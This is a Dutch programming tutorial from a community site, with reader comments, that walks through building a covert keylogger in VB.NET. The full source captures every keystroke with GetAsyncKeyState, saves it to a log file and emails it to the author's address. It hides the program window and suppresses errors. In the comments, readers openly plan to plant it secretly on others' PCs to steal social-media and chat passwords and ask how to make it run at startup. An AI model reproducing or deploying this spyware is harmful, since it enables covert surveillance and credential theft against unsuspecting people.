Keylogger maken in VB.net

In deze tutorial leg ik LaugHawa je uit hoe je een Keylogger kunt maken in VB

de objecten die je nodig hebt:
1. 1 x timer (timer1 | enabled = true | interval = 1)
2. 1 x richtextbox (txtkeys)

om te opties te wijzigen selecteer het object dan en kijken in het menu
properties

om bij de codes te komen kun je dubbel klikken op de balk waar form1 in staat.

wat je als eerste moet doen is het ophalen van informatie uit een dll genaamd user32
dit doe je door boven aan je code te zetten

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


ook hebben we een variabele nodig die de opgehaalde toetsen vast houd om die daarna
over te zetten naar txtkeys
om deze variabele te maken heb je deze code nodig
Dim result As Integer


als het goed is ziet je code er nu zo uit

Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub
End Class


oke nu gaan we kijken welke toetsen worden ingedrukt dit doe je door terug te gaan naar de designer en nu dubbel te klikken op timer1
nu zie je dat er een stukje code bij je oude code is gekomen.
vul hier in:
 REM er word hier voor elk teken gekeken of het word
REM ingedrukt er zijn 255 ver schillende tekens mogelijk
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i) REM hier wordt gekeken welke toetsen zijn ingedrukt

REM vanaf hier word gekeken of de toetsen gelijk zijn aan een
REM bepaald teken als dat zo is word het teken vervangen
REM door wat hetb eigelijk moet voor stellen.
If result = -32767 Then
If Chr(i) = "(" Then
txtkeys.Text = txtkeys.Text & "[Arrow Down]"
ElseIf Chr(i) = "%" Then
txtkeys.Text = txtkeys.Text & "[Arrow Left]"
ElseIf Chr(i) = "'" Then
txtkeys.Text = txtkeys.Text & "[Arrow Right]"
ElseIf Chr(i) = "&" Then
txtkeys.Text = txtkeys.Text & "[Arrow up]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click left]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click right]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[backspace]"
ElseIf Chr(i) = "." Then
txtkeys.Text = txtkeys.Text & "[delete]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[shift]"
ElseIf Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[tab]"
ElseIf Chr(i) = "¾" Then
txtkeys.Text = txtkeys.Text & "."
ElseIf Chr(i) = "¼" Then
txtkeys.Text = txtkeys.Text & ","
ElseIf Chr(i) = "¿" Then
txtkeys.Text = txtkeys.Text & "/"
REM als re geen teken past dan is het of een enter of een letter
REM enters kun je niet uit de tekens halen want dat teken wordt in VB
REM ook al als enter gepakt.
Else
txtkeys.Text = txtkeys.Text & Chr(i)
End If
End If
Next i


alles met REM er voor is commentaar in VB (compiler) zal dit groen worden
dit was de keylogger

maar ja als dit gewoon ergens in een textbox wordt gezet en verder als de keylogger wordt afgesloten weer wordt weggegooit heb je er ook niks aan

in dit stukje ga ik je leren hoe je de toetsen kunt opslaan en kunt e-mailen

nu moet je nieuwe objecten aan maken :
1. 2 x timer (timer2 | interval = 100000 | enabled = true en timer3 | interval = 1 | enabled = true)

zorg nu dat je de timers in je code er bij krijgt (dubbel klik op de timers)
oke zet nu bij de code van timer 2
txtkeys.SaveFile("log.txt")


dit zal ervoor zorgen dat om de 100 secounde een nieuw bestand word gemaakt en
het oude wordt verwijdert

nu gaan we verder met de mail functie:
zet boven aan onder
dim results as integer


dim letters as integer
dim emailtijd as integer
dim objmessage = createobject("CDO.Message")


zet nu ook in de code van timer1 onder
if result = -32767 then

de code

emailtijd += 1
letters += 1


oke dat waren de dingen die we moesten uitbreiden

nu moeten we in de code van timer3 het volgende zetten

if emailtijd = "25" then
emailtijd = "0"
objmessage.subject = "keylogger"
objmessage.from = "jouw e-mail adres hier"
objmessage.to = "jouw e-mail adres hier"
objmessage.textbody = txtkeys.text & vbnewline & vbnewline & vbnewline & vbnewline & vbnewline & vbnewline & "er zijn tot deze e-mail" & letters & "knoppen ingedrukt"
objmessage.send()
end if

vul wel even op de plaatsen waar staat jouw e-mail hier je
e-mail adres in.

de mail functie werkt niet op vista dus:
moeten we zorgen dat het niet crast als de keylogger op vista draait
dit don we door boven
emailtijd = "0"

deze code te zetten
On Error Resume Next


oke nu gaan we de keylogger onzicht baar maken zet in het stukje van form1
dit staat boven timer1 dit stukje code

Me.Opacity = 0.01
Me.ShowInTaskbar = False
txtkeys.Enabled = False


dit was de keylogger als hij iets niet doet kijk dan even of alle timer wel aan staan (enabled = true)

als je alles goed hebt gedaan zou je code er nu zo uit moeten zien


Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Dim letters As Integer
Dim emailtijd As Integer
Dim objmessage = CreateObject("CDO.Message")
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 0.01
Me.ShowInTaskbar = False
txtkeys.Enabled = False
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
REM er word hier voor elk teken gekeken of het word
REM ingedrukt er zijn 255 ver schillende tekens mogelijk
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i) REM hier wordt gekeken welke toetsen zijn ingedrukt

REM vanaf hier word gekeken of de toetsen gelijk zijn aan een
REM bepaald teken als dat zo is word het teken vervangen
REM door wat hetb eigelijk moet voor stellen.
If result = -32767 Then

emailtijd += 1
letters += 1

If Chr(i) = "(" Then
txtkeys.Text = txtkeys.Text & "[Arrow Down]" & vbNewLine
ElseIf Chr(i) = "%" Then
txtkeys.Text = txtkeys.Text & "[Arrow Left]" & vbNewLine
ElseIf Chr(i) = "'" Then
txtkeys.Text = txtkeys.Text & "[Arrow Right]" & vbNewLine
ElseIf Chr(i) = "&" Then
txtkeys.Text = txtkeys.Text & "[Arrow up]" & vbNewLine
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click left]" & vbNewLine
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click right]" & vbNewLine
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[backspace]" & vbNewLine
ElseIf Chr(i) = "." Then
txtkeys.Text = txtkeys.Text & "[delete]" & vbNewLine
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[shift]" & vbNewLine
ElseIf Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[tab]" & vbNewLine
ElseIf Chr(i) = "¾" Then
txtkeys.Text = txtkeys.Text & "."
ElseIf Chr(i) = "¼" Then
txtkeys.Text = txtkeys.Text & ","
ElseIf Chr(i) = "¿" Then
txtkeys.Text = txtkeys.Text & "/"
REM als re geen teken past dan is het of een enter of een letter
REM enters kun je niet uit de tekens halen want dat teken wordt in VB
REM ook al als enter gepakt.
Else
txtkeys.Text = txtkeys.Text & Chr(i)
End If
End If
Next i
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
txtkeys.SaveFile("log.txt")
End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
If emailtijd > "24" Then
On Error Resume Next
emailtijd = "0"
objmessage.subject = "keylogger"
objmessage.from = "hier jouw e-mail"
objmessage.to = "hier jouw e-mail"
objmessage.textbody = txtkeys.Text & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & "er zijn tot deze e-mail" & letters & "knoppen ingedrukt"
objmessage.send()
End If
End Sub
End Class



om de .exe file van jouw keylogger te krijgen moet je project saven en
dan compileren en dan naar de release folder gaan

dit doe je zo
file->save all (kies hier een plaats waar je het programmatje wilt saven)
doe nu compileren
build -> build (hier staat de naam van je programmatje)
ga nu naar de plaats waar je je programmatje hebt gesaved
ga dan naar
(de naam van je programatje) -> (de naam van je programmatje) -> bin -> release
hier stat je programmatje helemaal klaar alles wat nodig is is allen de exe file de rest is niet nodig nu kun je je progbrammatje kopieren en testen

je kunt het beste je form 1 zo klein mogelijk maken dan kunnen mensen er niet perongelukt in kopen of zien dat die er is om dit te doen ga je naar de desinger en pak je de rand van form 1 en trek je die gewoon naar zijn formaat hoe jij hem wilt hebben net zo als bij een normaal programmatje
 

Reacties (61)

 
Grote tut (h)
Goed uitgelegt :P
 
goede tut makkelijk te begrijpen.
maar ik heb eens eerder gebrobeert en toen snapte ik het niet.
tot ik later even naar de code keek.
maar als je achter 2. 1 x richtextbox (verander de naam van de richtextbox in: txtkeys) zet is het makkelijker voor mensen die het niet snappen.

verder goed uitgeleg. ik heb alleen nog een vraagje
If emailtijd > "24" Then
is 24 24uur?

en ik heb nog een ideetje voor bij de keylogger. dat ie opstart als je pc start. want dan kun je de keylogger ook echt gebruiken.
je zet de keylogger stiekem op iemands pc en je kunt dan achter
wachtwoorden etc komen. hyves msn facebook twitter weet ik het allemaal. ook kun je natuurlijk msn gesprekken na lezen.
 
-------------------------------------------------------------------------------------------
en bij MSN kan je ergens (ik weet niet waar)
kiezen *berichten opslaan* en dan kan je die weer lezen als je weet met welke e-mail hij of zij sprak :!: :!:
-------------------------------------------------------------------------------------
 
@steelnose
dit script heb ik al een heletijd geleden gemaakt ik zal een kijken voor een verbetering maar ben momenteel bezig met een cms systeem.
mischien dat ik tussen door een nieuwe versie maak.

verder het andwoord op jou vraag:
eigelijk heb ik die string verkeerd genoemd want ik meen ( en als ik zo snel ff kijk klopt dat ) dat email tijd op tekens let dus om de 24 tekens stuurt hij een email

//LaugHawa
 
een enter kun je wel krijgen
Eigenlijk kun je alles opvangen.
Ga naar http://www.woodmann.com/fravia/sources/WINUSER.H
Scroll dan naar met #define VK_LBUTTON
Daar staan alle code eigenlijk, in hexadecimaal.
Het formaat is zo: #define VK_TOETS NUMMER_IN_HEXADECIMALE_NOTATIE
In vb schrijf je die waarden zo: 0x01 wordt &H01
Als je dan invult "if i=&H01 then" controleer je of de laatste toetsaanslag de linkermuisknop is. Sommige toetsen hebben nogal onduidelijke namen, maar ik geloof dat ze er allemaal in staan.

Ik hoop dat ik zo kan helpen :S
 
leg het me plz ff simpel uit
(ben pas net begongen met me erin verdiepen) :)
 
Wat begrijp je niet dan?
 
kan ik gewoon de kodes copieeren en plaken of komt er meer bij kijken?
 
en wat bedoelen julie met een from
 
Copy het laatste code blok, en volg de onderstaande instructies hoe je het moet opslaan en gebruiken. ALS je ffe de moeite doet om het te lezen, dan kom je er wel.
 
Hee, ik heb hem uitgetest op mijn eigen PC, maar ik krijg mis letters in mijn mail.
Dus als ik typ: Hoi test
Krijg ik een mail met:
[mouse click left]
[mouse click left]
[tab]
[mouse click left]
[mouse click left]
[mouse click left]
[mouse click left]
[mouse click left]
[mouse click left]
[mouse click left]
[mouse click left]
[mouse click left]
H
[mouse click left]
HTEST[mouse click left]
[mouse click left]
[mouse click left]
[mouse click left]
[mouse click left]

Heb je hier een oplossing voor? :eur:
 
Mooie Tut man ga ik zeker gebruiken :p
 
@steelnose: "en ik heb nog een ideetje voor bij de keylogger. dat ie opstart als je pc start. want dan kun je de keylogger ook echt gebruiken."
dit kun je zelf makkelijk doen, maak van het VB bestandje een exe file en zet deze bij opstartprogramma's tadaa :)

maar ehmm
laatste tekstblok met volledige code kan ik niet helemaal kopiëren, hij gaat maar tot 'ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[backspace]" & vbNewLine'
en ik kan niet naar onder scrollen :S

alvast bedankt
 
laat dat laatste van mij maar is al gelukt, lag blijkbaar aan opera :)
maar is het eigenlijk ook mogelijk door een .bat file ofzo te laten lopen automatisch een programma bij opstartprogramma's te zetten? dus dat als ik die bat-file laat lopen dat een programma dan automatisch bij opstartprogramma's word gezet

alvast bedankt alweer :P
 
Ik wil even dit zeggen:
GetAsyncKeyState werkt zover ik weet niet op Windows 7 systemen (op die van mijn vrienden, vele mensen die erom zeuren, en het werkt btw ook niet op mijn Win 7).
Een keylogger zonder GetAsyncKeyState zal veel moeilijker gaan geloof ik, maar kan het niet? Zo ja, tutorial zou heel netjes zijn.
En er zijn mensen die trouwens niet de ingevoerde stuff krijgen maar random stuff er doorheen xD
 
http://www.vsprogramming.com/tutorials/ ... keylogger/
holy shit iemand heeft deze tut gekopieerd XD
 
er staat teminsten ene thanks to bij :)
maar zit er nog iemand met vragen over de keylogger?

ik ben momenteel bezig een windows hook ( dit werkt velenmalen beter ) ik zal binnenkort een versie met windows hook uitbrengen
 
Oke ik ben dus een noob in dit soort dingen.. ik heb dus die onderste code gekopieerd en mijn email ingevuld,. daarna opgeslagen, maar op de een of andere manier wil mijn visual basic 2010 express hem niet builden.. ik kan gewoon simpelweg niet op het knopje "build selection" of "build solution" klikken.. normaalgesproken zijn de knopjes ingekleurd maar ze zijn gewoon grijs.. hoe kan ik dit oplossen?
 
Je moet ook niet alleen de code kopiëren, maar de hele tutorial volgen ;)
 
oh oke is goed ik zal dan eens kijken wanneer ik tijd heb om hem in te vullen :P
 
ehh ik bedoel de tutorial te volgen
 
oke ik heb nu de timer toegevoegd, maar als ik daarna die grote lap code kopieer (staat dat ik dat moet doen) dan zegt hij dat er 28 errors zijn. 28 keer dezelfde:
"'txtkeys' is not declared. It may be inaccessible due to its protection level."

hoe fix ik dit?
 
Je hebt als het goed is een richtextbox aangemaakt. Je moet de naam daarvan veranderen naar txtkeys. Als je er éénmaal op klikt kan je rechtsonder de naam aanpassen ;).
 
oke ik denk dat ik het heb.. maar ik heb de naam gewijzigd naar "txtkey" en niet "txtkeys" als ik probeerde te wijzigen naar txtkeys kreeg ik: "property value is not valid" maar bij txtkey kreeg ik dat niet.

zo goed?
 
nieuw vraagje: waar moeten die 2 nieuwe timers staan in de code? hoe weet ik of ze op de juiste plek staan of kunnen ze overal staan?
 
Overal.
 
oke bedankt allemaal volgens mij heb ik hem nu goed gemaakt! ik heb hem gebuild, alleen heb ik nog geen mailtje gehad met alles wat ik heb getypt, wanneer krijg ik die? om de 100 tekens of iedere 100 seconden?
 
oke ik heb nu een log.txt bestandje in de release folder, maar hij mailt hem niet door.. ook herkent hij sommige tekens niet. ik typte "hoe doen we dat trouwens met de efteling" (testje)
maar ik kreeg dit in een log bestand:

HOE[tab]DOENW[tab]DAT[tab]ROUEWNS[tab]ME[tab]D[tab]EFTELIG[shift]\'a1/\par
\par
}

terwijl ik geen tabs heb gebruikt.. iemand enig idee om te fixen?
probleem 2: mijn mail functie werkt niet. hij slaat hem wel op in de release folder maar mailt hem vervolgens niet.
 
Spatie=[tab].

De manier die in deze tutorial wordt beschreven is niet de beste manier. Er zit inderdaad een kleine vertraging in waardoor je soms verkeerde gegevens doorkrijgt. Een betere manier is het keyboard te hooken. Een voorbeeld vind je op http://sim0n.wordpress.com/2009/03/28/v ... ook-class/. Voor meer uitleg kan je het vragen of even googlen ;).

Succes ermee,
//Thisegzz
 
oke bedankt, alleen de mail functie werkt niet.. iemand enig idee om op te lossen?
 
Ik merkte ook dat de email functie soms raar doet. Ik heb de functie uit de mailbomber tutorial (http://digitalplace.nl/tutorials/progra ... ber-vb2005).
Op een andere computer vroeg Outlook bij elke mail of ik wilde versturen en stond er 10 seconden een melding op het scherm. Niet erg onzichtbaar...

Ik vraag me ook af of het niet slimmer is om GetAsyncKeyState in een loop te zetten, er Thread,Sleep(10) achter te zetten en te starten in een andere thread. Je kunt dan niet de Richtextbox gebruiken, maar Dim strKeys as String bovenaan zetten en die gebruiken werkt wel.

Ik hoop trouwens nog dat iemand een keer een tutorial over Windows Hooks schrijft.
 
hey,
ik heb wel een keylogger, maar als ik hem dan uittest als ik hem gedownload heb, dan slaat hij het bestand op op de pc die het download en niet op mijn pc!
can iemand me helpen?
 
Dan moet je het naar jezelf laten mailen ;)
 
Ja maar die mail functie werkt dus niet bij mij (heb windows 7)
 
@I_Program_Noob

Alles werkt nog op windows7.
waar het wel aan kan liggen is dat de SMTP host niet goed staat. bijvoorbeeld als je ziggo hebt en mailhost.hetnet.nl als SMTP blokkeert ziggo alle "packets" ( emailtjes zeg maar ) die jij wilt versturen.

ik zal kijken voor een manier om dit optelossen in een nieuwe versie. (Die ook met een hook zal werken Zo als thisegzz zegt :))
 
@thisegzz
merk net dat ik niet op de edit knop kan klikken.

@gertmenkel
als je me een weekje geeft maak ik jouw tutorial ;)
en zo als je zegt ja klopt een string is beter ( ik weet niet eens meer waarom ik een richtextbox heb gebruikt ( tis al ruim 3 jaar geleden :D ) )
 
oke heel erg bedankt! ik kijk er al naar uit!
 
is hij al af? :)
 
lol'd het enige waar jij naar uit kijkt :P
probeer er zelf 1ntje te maken lol'd
 
heelaas wat vertregaing ook die tutorials is me bij lange na niet gelukt in een week:(
kreeg ineens wat opdrachten binnen die voorrang moesten krijgen heb nu vakantie dus ik hoop dta ik de rest kan afmaken en hier mee verder kan gaan
 
het gebruik maken van Timers is echt slecht voor het opvreten van je Memory,
 
Akama schreef:het gebruik maken van Timers is echt slecht voor het opvreten van je Memory,

.... Je bedoelt goed voor het opvreten van je geheugen of slecht omdat het je geheugen opvreet zeker? :p
 
jep :) maar die code is al 3 jaar oud geloof ik en al lang niet meer bij de tijd ik geloof dat de manier waarop ik hier een mail stuur ook obsolute is in .net 4.0
 
Robin schreef:
Akama schreef:het gebruik maken van Timers is echt slecht voor het opvreten van je Memory,

.... Je bedoelt goed voor het opvreten van je geheugen of slecht omdat het je geheugen opvreet zeker? :p


:mrgreen: ik bedoel dat het slecht is voor het geheugen maar je snapt mijn zinnen wel.
 
wel, ik heb deze proberen te maken en ik krijg telken een pInvokeStackImbalance. Ook als ik het progama start krijg ik nooit mails aan of kan ik nergens zien dat hij wel effectief aan het loggen is. Iemand ideetjes? of gewoon en nieuwere tutorial zoeken? :D
 
@LaugHawa eej, hij werkt niet bij mij, geen errors maar de mail stuurt hij niet, ik heb ziggo. :!:
 
ehem, deze keylogger is verouderd als je hier goed hebt gekeken. ga een fatsoenlijke taal leren en maak er zelf een, ipv iemand anders zijn code klakkeloos over te copypasten.

http://digitalplace.nl/tutorials/progra ... s-tutorial << ubergekkegoeie C++ basis tut van Gertmenkel
 
digital ownage schreef:ga een fatsoenlijke taal leren en maak er zelf een, ipv iemand anders zijn code klakkeloos over te copypasten.

Hij probeert 'm juist zelf te maken aan de hand van deze tutorial... :hand:
 
zo kan je het ook bekijken lol
 
hallo,

kan iemand my dit allemaal op zijn gemakkie uitleggen,
en my leren hoe ik de beste keyloggers kan maken!

vergoeding is geen probleem,

voeg me toe op msn: jordy172@msn.com

groetjes
 
zzzlllddd schreef:hallo,

kan iemand my dit allemaal op zijn gemakkie uitleggen,
en my leren hoe ik de beste keyloggers kan maken!

vergoeding is geen probleem,

voeg me toe op msn: jordy172@msn.com

groetjes


Waarschijnlijk zullen er weinig mensen die op je ingaan :D

Je kunt genoeg info van het internet halen!!!

(dit advies kost 10 euro p.k.g.)
 
xvilo zou jy me er mee kunen helpen?
 
Zzzzlllddd, je kan nu beter de C++ keylogger proberen te maken, daar staat ook een tut van op de site :mrgreen: en die is ook een stuk minder outdate dan deze. Verder heb je ook een stuk meer aan C++ :king:
 
ik wil graag dat iemand het een beetje uitlegt vindt ik zelf wat fijner:)

en dan eentje die je naar mensen toe kan sturen en logs kan zien enz

uknow
 
voeg me toe op msn aljeblieft.

jordy172@msn.com

 !  Kaaall:
Voor vragen verwijs ik je door naar ons forum: http://www.digitalplace.nl/forum
Daar kunnen leden je helpen en wellicht hebben anderen hier ook nog profijt van.
 
@zzzlllddd
Ik kan je misschien helpen, mijn mail is gertmenkel apenstaartje gmail punt com (vervang punt door . en apenstaartje door @)
 
OF kom gewoon in de IRC..
server = irc.rizon.net
naam = #dpf
 
germenkel kan je me toevoegen op msn?
 
germenkel als het goed is heb ik je een email gestuurd.
 
ik wou een game maken maar ik krijg niet voorelkaar op de pijltjes toetsen te "ontvangen" zegmaar kan iemand helpen? ;)
 
ivar schreef:en wat bedoelen julie met een from

http://www.vbvoorbeelden.be/

Plaats reactie

Alleen leden kunnen reacties plaatsen. Ga naar de inlogpagina of word gratis lid van DigitalPlace.nl.

Details

Avatar LaugHawa
Door: LaugHawa

Categorie: Programmeren
4 jaar geleden
5062 x bekeken

Jouw mening

Leuk Niet leuk

Updates

Op de hoogte blijven van de nieuwste updates van DigitalPlace.nl? Dat kan!


Opties



Naar boven